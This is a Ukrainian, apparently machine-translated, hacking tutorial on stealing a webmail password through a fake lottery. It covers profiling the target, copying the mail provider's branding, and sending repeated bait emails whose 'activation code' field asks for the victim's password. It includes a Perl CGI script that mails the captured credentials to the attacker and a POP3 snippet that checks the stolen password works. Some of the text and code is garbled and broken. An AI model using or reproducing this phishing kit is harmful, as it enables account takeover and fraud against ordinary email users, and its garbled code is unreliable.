Хотілося б підхопити тему злому пошти, яку почав Danil. Звичайно, як правильно зазначив Danil, Bruteforce — це самий надежныйно найдовший спосіб. Реально цей спосіб може спрацювати, якщо користувач в якості пароля використовує слово зі словника, або комбінацію 111111. Але якщо це не так? Середній пароль — це 6-8 символів, причому використовуються тільки малі латинські літери. Таких букв всього 26, тому ми маємо від 308915776 до 208827064576 варіантів (формула розрахунку = количество_букв ^количество_символов_в_пароле).

Звичайно спробувати перебрати невеликий словничок ніколи не завадить, а ось брутфорсить мільярди варіантів — це вже тупо і не спортивно. Але справу було розпочато хороше, і давай його продовжимо — ти, мабуть, чув про соціальної інженерії? ОК! Тоді давай спробуємо змусити жертву саму віддати нам свій пароль.
Яка ймовірність переконати жертву в необхідності такого діяння? Складно сказати — все залежить від твоєї наполегливості та винахідливості. Цей метод не вимагає цілодобово сидіти в Інеті, достатньо приділяти розробці «жертви» всього кілька хвилин, але регулярно. А щоб не бути голослівним, я дам тобі конкретний приклад:

Припустимо, наша «жертва» має ящик на який-небудь безкоштовної поштою і читає листи через Web-інтерфейс (саме так чинить більшість юзерів).

Для злому тобі знадобиться:

Html-редакторі, наприклад, Microsoft Frontpage (є в розширеній версії MS Office)
Поштовий клієнт, ми візьмемо Outlook Express (є в будь-Windows)
Ftp-клієнт — можеш скачати гіганта начебто CuteFtp, а можеш скористатися і Ftp.exe, йде знову-таки з Windows
Працююча голова і творчий підхід 😉
Разом виходить, що якщо у тебе Win + розширений офіс, то нічого більше тобі не знадобиться. Приступимо?

Крок 1:

Потрібно дізнатися якомога більше про майбутню «жертву»: стать, вік, ступінь «комп’ютерної освіченості». Причому саме рівню цієї самої «освіченості» я раджу приділити особливу увагу — вона буде визначати твою стратегію.

Крок 2:

Давай будемо виходити з того, що всі хочуть грошей. Причому вони зовсім не проти, щоб гроші звалилися на них абсолютно несподівано, скажімо у вигляді виграшу. Деякі купують лотерейні квитки, інші — грають на скачках або в казино, треті — сидять вдома і нічого не роблять (не тому, що вони не хочуть виграти, просто вони не вірять в це, і тому їм шкода грошей на ту ж лотерею). Ну а якщо ця лотерея буде безкоштовною? Платити нічого не треба, а можна виграти реальні гроші. Думаєш ніхто не повірить? Ще й як повірить! Адже жертва вже користується безкоштовної поштою? Що це дає господарям сервера? Від нашої «жертви» начебто нічого, але вони заробляють на рекламі — це напевно знає кожен користувач безкоштовного «мила». Більше користувачів — більше грошей. І тут господарям поштового сервісу приходить в голову ідея — а чому б ні розігрувати серед користувачів невеликі грошові призи? «Поділитися» з іншими користувачами, щоб цим розіграшем залучити ще більше людей, а значить збільшити свої доходи.

Але чомусь думка про проведення таких лотерей не приходить в голову потрібне людямПоэтому таку лотерею проведемо ми, а єдиним її учасником буде наша «жертва».

Заходимо на ту безкоштовну пошту, якою користується «жертва», реєструємося. Краще вибрати адресу кшталт: [email protected], [email protected] або щось подібне, це особливо важливо, якщо також надається місце під безкоштовний сайт. Припустимо, нас цікавить «жертва» з поштою [email protected] Заходимо на сервер і бачимо: власник — Hotbox.ru, крім mailru.com у них ще pisem.net, hotchat.ru, hotbox.ru, pochtamt.ru, fromru.com, krovatka.net. ОК! Реєструємо [email protected] + в «навантаження» отримуємо www.lottery.hotbox.ru (офіційний сайт лотереї %-).

Тепер не зайвим буде зайти у знову зареєстрований ящик і перевірити його на наявність рекламного листа, за принципом «ласкаво просимо на наш сервер. Ви можете скористатися такими додатковими послугами..». Якщо подібні листи надсилають — тобі не треба багато думати: зберігай його на гвинті — візьмемо за зразок. Якщо такого листа не виявиться — доведеться видерти одну з сторінок на сервері (в якості зразка «фірмового стилю»), або робити все з нуля, але «за образом і подобою».

Крок 3:

Після усвідомлення «фірмового дизайну» можна приступати до складання листа «жертві». Як ти розумієш просто надіслати йому «мило» з проханням вислати свій пароль «в обмін на $1.000.000» — тупиковий варіант. Тому над листом доведеться попрацювати. Давай подивимося на справжній лотерейний квиток, ми побачимо:

Хто і навіщо проводить цю лотерею
Правила отримання виграшу і терміни
Розміри виграшу
Ігрове поле
Номер квитка
Бачив таке? Тепер давай все відтворимо це в нашому «листі». Тільки ігрове поле буде у формі поля, куди треба ввести «код активації», а нижче дамо пояснення:

* Код активації квитка збігається з вашим паролем

Просто, але разом з тим — дієво. Беремо Html-редактор (Frontpage) і починаємо творити. Потім, «виділяємо» те, що вийшло і «вставляємо» в Outlook. Ймовірно тобі знадобиться кілька варіантів листа. Навіщо? Ну, на перший раз тобі можуть і не повірити, тоді доведеться через тиждень послати ще один лист з квитком другого «накладу», потім третього — загалом, якщо людина буде регулярно отримувати такі ненав’язливі листи (з другого «тиражу» ми включимо відомості про виграли учасників), то він майже гарантовано захоче випробувати свою удачу.

Корисний рада:

Не посилай квиток у першому листі, краще спочатку послати «пробну кулю» у вигляді рекламного листа «новини нашого сервісу»: придумай щось на кшталт «минулого тижня кількість користувачів перевищила 10 мільйонів», «за результатами опитування на Yandex.ru наш поштовий сервіс визнаний четвертим за популярністю ресурсом Рунета», а на самому початку, щоб впадало в очі, приведи інформацію про те, що планується проводити такий-сякий розіграш, чекайте квитків та удачі. Маючи такий лист, «жертва» напевно швидше усвідомлює необхідність введення коду активації» 😉

Крок 4:

Якщо лист складено тепер треба подбати про те, щоб «код активації» з листа потрапив до нас, а жертва побачила «результати лотереї». Для цього ми передбачили в листі надсилання вмісту нашого квитка на server/check.cgi Як розумієш, тепер треба зробити сам check.cgi, ось він:

####################
#!/usr/bin/perl -w
use CGI qw(:standard);

my $mailprog = ‘/usr/sbin/sendmail’;
my [email protected]’;
my $first = param(«first»);
my $last = param(«last»);
my $password = param(«password»);
my [email protected]’;

open (MAIL, “|$mailprog -t”);
print MAIL «Content-Type: text/plain»;
print MAIL «Subject: YESSSS»;
print MAIL To: $mail»;
print MAIL From: ‘.$target.’»;
print MAIL «first is: $first»;
print MAIL «last is: $last»;
print MAIL «password is: $password»;
close (MAIL);

if (length($password)redirect(‘http://lottery.hotbox.ru/error.htm’);

} else {
$query = CGI::new();
print $query->redirect(‘http://lottery.hotbox.ru/check.htm’);

}
####################

Як це працює: скрипт отримує значення полів «квитка» і відправляє їх тобі листом (до речі, не забудь вказати свою адресу). Далі скрипт дивиться довжину поля password (він же «код активації»), якщо його довжина менше трьох символів, то жертву перекидає на сторінку error.htm (де написано «Баклан! Код активації введено невірно!»), в іншому випадку — відбувається перенаправлення на сторінку з результатом перевірки квитка (check.htm).

Даний варіант скрипта, звичайно, дуже простий в частині перевірки істинності «код активації», але зате універсальний і підходить для всіх поштових служб.

Як організувати більш просунуту перевірку: якщо поштовий сервіс надає доступ по pop3 і робота клієнта через web-інтерфейс не блокує його ящик, то для перевірки можна використовувати наступний код:

use Net::POP3;

$host = «victim_mail.ru»;
$pop3=Net::POP3->new($host);
if ($pop3->login(“$first”,”$password”)){
###якщо пароль підійшов переводимо жертву на сторінку результатів
} else {
### інакше переводимо на сторінку error.htm
}

Крок 5:

Залишилося створити тільки сам «офіційний сайт лотереї». Для більшості «гравців» необхідно всього три простих сторінки:

Титульна — великі і красиві написи закликають до участі в «лотереї»
Check.htm — сторінка, на якій «жертва» номер тиражу, номер свого квитка і повідомлення про те, що «на жаль квиток нічого не виграв».
Error.htm — сторінка мета якої-нагадати «жертві» про необхідність введення коректного «код активації»
Думаю, цей крок не викличе у тебе особливих проблем — юзай Frontpage + свою фантізію і все буде в порядку: нам же не брати участь у конкурсі, а всього лише отримати пароль 😉

Фінальні акорд:

У тебе можуть виникнути проблеми з розміщенням скрипта: де-то взагалі не можна їх використовувати, де будуть заборонені зовнішні коннекти. Але ти можеш розмістити скрипт де завгодно, наприклад на virtualave.net. Подібна ситуація складається на Hotbox.ru, де взагалі немає скриптів, але при такому підході це абсолютно не заважає.

Інша проблема — якщо «жертва» все-таки використовує поштовий клієнт, а не web-інтерфейс. Тоді при відправлення з поштового клієнта ти просто не отримаєш значення «код активації». Вихід — небудь зробити error.htm точною копією «квитка» і проханням ввести код активації повторно (кращий варіант), або змінити «лист» таким чином, що висилати не «квиток», а гіперпосилання на нього, а саму форму «розмістити на офіційному сайті“ та запропонувати „жертві“ вводити „власника квитка“ самостійно.

А взагалі варіант з „лотереєю“ далеко не єдиний, можна придумати безліч інших — було б бажання і „жертва“ 😉